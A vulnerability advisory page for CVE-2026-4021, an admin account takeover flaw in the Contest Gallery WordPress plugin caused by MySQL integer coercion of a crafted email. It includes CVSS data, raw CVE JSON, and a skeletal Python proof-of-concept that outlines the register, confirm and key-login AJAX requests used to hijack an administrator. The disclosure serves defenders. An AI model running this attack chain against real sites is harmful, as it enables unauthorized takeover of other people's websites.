Security Vulnerability Report
中文
CVE-2026-4021 CVSS 8.1 HIGH

CVE-2026-4021

Published: 2026-03-24 00:16:31
Last Modified: 2026-04-24 16:32:54

Description

The Contest Gallery plugin for WordPress is vulnerable to an authentication bypass leading to admin account takeover in all versions up to, and including, 28.1.5. This is due to the email confirmation handler in `users-registry-check-after-email-or-pin-confirmation.php` using the user's email string in a `WHERE ID = %s` clause instead of the numeric user ID, combined with an unauthenticated key-based login endpoint in `ajax-functions-frontend.php`. When the non-default `RegMailOptional=1` setting is enabled, an attacker can register with a crafted email starting with the target user ID (e.g., `[email protected]`), trigger the confirmation flow to overwrite the admin's `user_activation_key` via MySQL integer coercion, and then use the `post_cg1l_login_user_by_key` AJAX action to authenticate as the admin without any credentials. This makes it possible for unauthenticated attackers to take over any WordPress administrator account and gain full site control.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Contest Gallery Plugin <= 28.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-wordpress-site.com" admin_id = 1 # Crafted email starting with target Admin ID crafted_email = f"{admin_id}[email protected]" # Step 1: Register with crafted email (RegMailOptional=1 required) register_payload = { "action": "cg_registration_action", # Placeholder for specific plugin action "email": crafted_email } # r = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=register_payload) # Step 2: Trigger confirmation flow # This causes SQL: UPDATE ... SET user_activation_key = ... WHERE ID = '[email protected]' # MySQL converts '[email protected]' to integer 1, overwriting Admin's key. # Step 3: Authenticate as Admin using the AJAX endpoint login_payload = { "action": "post_cg1l_login_user_by_key", "key": "GENERATED_KEY_FROM_STEP_1" } # r = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=login_payload) print(f"Attempted takeover of Admin ID {admin_id} using email {crafted_email}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4021", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:31.210", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contest Gallery plugin for WordPress is vulnerable to an authentication bypass leading to admin account takeover in all versions up to, and including, 28.1.5. This is due to the email confirmation handler in `users-registry-check-after-email-or-pin-confirmation.php` using the user's email string in a `WHERE ID = %s` clause instead of the numeric user ID, combined with an unauthenticated key-based login endpoint in `ajax-functions-frontend.php`. When the non-default `RegMailOptional=1` setting is enabled, an attacker can register with a crafted email starting with the target user ID (e.g., `[email protected]`), trigger the confirmation flow to overwrite the admin's `user_activation_key` via MySQL integer coercion, and then use the `post_cg1l_login_user_by_key` AJAX action to authenticate as the admin without any credentials. This makes it possible for unauthenticated attackers to take over any WordPress administrator account and gain full site control."}, {"lang": "es", "value": "El plugin Contest Gallery para WordPress es vulnerable a una omisión de autenticación que conduce a la toma de control de la cuenta de administrador en todas las versiones hasta la 28.1.5, inclusive. Esto se debe a que el gestor de confirmación de correo electrónico en `users-registry-check-after-email-or-pin-confirmation.php` utiliza la cadena de correo electrónico del usuario en una cláusula `WHERE ID = %s` en lugar del ID de usuario numérico, combinado con un punto final de inicio de sesión basado en clave no autenticado en `ajax-functions-frontend.php`. Cuando la configuración no predeterminada `RegMailOptional=1` está habilitada, un atacante puede registrarse con un correo electrónico manipulado que comienza con el ID de usuario objetivo (p. ej., `[email protected]`), activar el flujo de confirmación para sobrescribir la `user_activation_key` del administrador a través de la coerción de enteros de MySQL, y luego usar la acción AJAX `post_cg1l_login_user_by_key` para autenticarse como administrador sin credenciales. Esto hace posible que atacantes no autenticados tomen el control de cualquier cuenta de administrador de WordPress y obtengan control total del sitio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/28.1.4/ajax/ajax-functions-frontend.php#L204", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/28.1.4/v10/v10-admin/users/frontend/registry/users-registry-check-after-email-or-pin-confirmation.php#L153", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/trunk/ajax/ajax-functions-frontend.php#L204", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/trunk/v10/v10-admin/users/frontend/registry/users-registry-check-after-email-or-pin-confirmation.php#L153", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/contest-gallery/tags/28.1.5&new_path=/contest-gallery/tags/28.1.6", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f1b9725b-dee5-44ca-bb33-c6812fb76adc?source=cve", "source": "[email protected]"}]}}